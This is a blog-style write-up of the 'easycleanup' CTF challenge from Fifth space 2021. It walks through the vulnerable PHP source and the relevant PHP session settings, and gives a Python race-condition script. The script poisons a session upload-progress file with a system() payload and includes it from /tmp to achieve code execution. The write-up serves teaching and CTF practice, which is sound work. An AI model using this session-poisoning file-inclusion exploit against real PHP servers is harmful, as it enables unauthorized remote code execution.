当前位置:网站首页>Understand PHP from [Fifth space 2021] easycleanup_ session
Understand PHP from [Fifth space 2021] easycleanup_ session
2022-07-19 01:25:00 【Aiwin-Lau】
Enter the topic : Source code
<?php
if(!isset($_GET['mode'])){
highlight_file(__file__);
}else if($_GET['mode'] == "eval"){
$shell = isset($_GET['shell']) ? $_GET['shell'] : 'phpinfo();';
if(strlen($shell) > 15 | filter($shell) | checkNums($shell)) exit("hacker");
eval($shell);
}
if(isset($_GET['file'])){
if(strlen($_GET['file']) > 15 | filter($_GET['file'])) exit("hacker");
include $_GET['file'];
}
function filter($var){
$banned = ["while", "for", "\$_", "include", "env", "require", "?", ":", "^", "+", "-", "%", "*", "`"];
foreach($banned as $ban){
if(strstr($var, $ban)) return True;
}
return False;
}
function checkNums($var){
$alphanum = 'abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ';
$cnt = 0;
for($i = 0; $i < strlen($alphanum); $i++){
for($j = 0; $j < strlen($var); $j++){
if($var[$j] == $alphanum[$i]){
$cnt += 1;
if($cnt > 8) return True;
}
}
}
return False;
}
?>Parameters can be carried out in the source code shell File execution of , Meeting parameters file The file contains , But it limits the characters , And right a-z0-9A-Z It was matched , Exist on exit(), To bypass these matches shell Of rce perform , There seems to be nothing I can do , Have a look first phpinfo() The content of .

The point is that :
1,session.save_handler files files
2,session.save_path /tmp /tmp
3,session.serialize_handler php php
4,session.upload_progress.cleanup On On
5,session.upload_progress.enabled On On
6,session.upload_progress.freq 1% 1%
7,session.upload_progress.min_freq 1 1
8,session.upload_progress.name PHP_SESSION_UPLOAD_PROGRESS PHP_SESSION_UPLOAD_PROGRESS
9,session.upload_progress.prefix upload_progress_ upload_progress_
10,session.use_cookies On On
11,session.use_only_cookies On On
12,session.use_strict_mode Off OffThe first line means session Store in the form of a file .
The second line says session The storage directory is /tmp Next .
The third line indicates that the processor for deserialization and serial number is PHP.
The fifth line says upload_progress Function start , That is, when the browser uploads files to the server ,php The details of this file upload will be stored in session in .
The fourth line indicates that after uploading the file ,php Will immediately clear the corresponding session Contents of the file .
In the sixth and seventh lines freq and min_freq Two items are used to set the update frequency of progress information on the server . Setting these two items reasonably can reduce the burden of the server .
In line 89 prefix and name Two items are used to set the progress information in session Variable name stored in / Key name .
The tenth line indicates the use of cookie Record sessionid.
The eleventh line indicates whether it is on the client only Use cookie To store the conversation ID.
The value in line 12 is off, Express Cookie Medium sessionid controllable .
Their thinking :
When we define ourselves Cookie Medium PAPSESSID when ,PHP Create files for on the server and store them in tmp/sess_id. The server will initialize automatically Session, from (prefix+session.upload_progress.name) form , Due to twelve acts off, You can customize cookie Storage session file , Then control the contents of the file , Conduct file The file contains , because cleanup Is open , So we need to use conditional competition , stay php When it is cleared , Just visit the temporary tmp/sess_id The file is included .
That is, transmit such content :
Script :
import requests
import threading
myurl = 'http://1.14.71.254:28736/index.php'
sessid = '1a1'
writedata = {"PHP_SESSION_UPLOAD_PROGRESS": "<?php system('cat /nssctfasdasdflag');?>"}
mycookie = {'PHPSESSID': sessid}
proxies = {
"http": "127.0.0.1:8080",
}
def send_file(session):
while True:
resp = requests.post(url=myurl, data=writedata, files={'file': ('1.txt', 123)}, cookies=mycookie)
def getflag(session):
while True:
payload_url = myurl + '?file=' + '/tmp/sess_' +sessid
resp = requests.get(url=payload_url)
if 'upload_progress' in resp.text:
print(resp.text)
break
if __name__ == '__main__':
session = requests.session()
t = threading.Thread(target=send_file, args=(session,))
t.start()
getflag(session)
Get the results :
边栏推荐
- [SWPU 2019]Network-TTL加密和涉及的一些知识
- gtest与gmock的安装与使用
- Day10-前后连调
- Oracle database parameter change
- Eye of depth III - (7, 8)] mathematics: matrix diagonalization and quadratic form 2.3
- VsCode建立非工程目录下的头文件自动查找
- Oracle database architecture
- extern和static的区别
- 鼠标右键菜单添加快速打开选项遇见的错误:
- Three activation functions (relu, sigmoid, tanh) and multilayer perceptron
猜你喜欢
随机推荐
MoveIt2——2.MoveIt在RViz中的快速入门
CobalStrike的部署(附带资源)
Oracle database startup and shutdown steps
Moveit2——1.开始
VsCode建立非工程目录下的头文件自动查找
CVE-2022-34265 Django Extract & Trunc SQL注入漏洞复现
Day12 Association serialization processing
C Programming Language (2nd Edition)--读书笔记--1.3
Mathematics 03 derivative and differential (to be supplemented)
gtest与gmock的安装与使用
毕设之旅
The C Programming Language(2nd)--笔记--1.10
深度之眼三——(3)】 数学:矩阵特征值与特征向量1
sql语句学习和pymysql的使用
Supplementary knowledge of attributes and methods of regular, JWT token, ronglianyun, celery, channel group, SKU, SPU, request object
Day13 mixed view base class
(九)Shell 输入输出重定向
XSS简单总结
Pytoch simply uses the Minist dataset
About foreign key references, cross domain headers, and ref usage







![Buuctf [bjdctf2020]ezphp1 detailed explanation](/img/10/d2593dff2f4a5f0ca41a9f651128df.png)

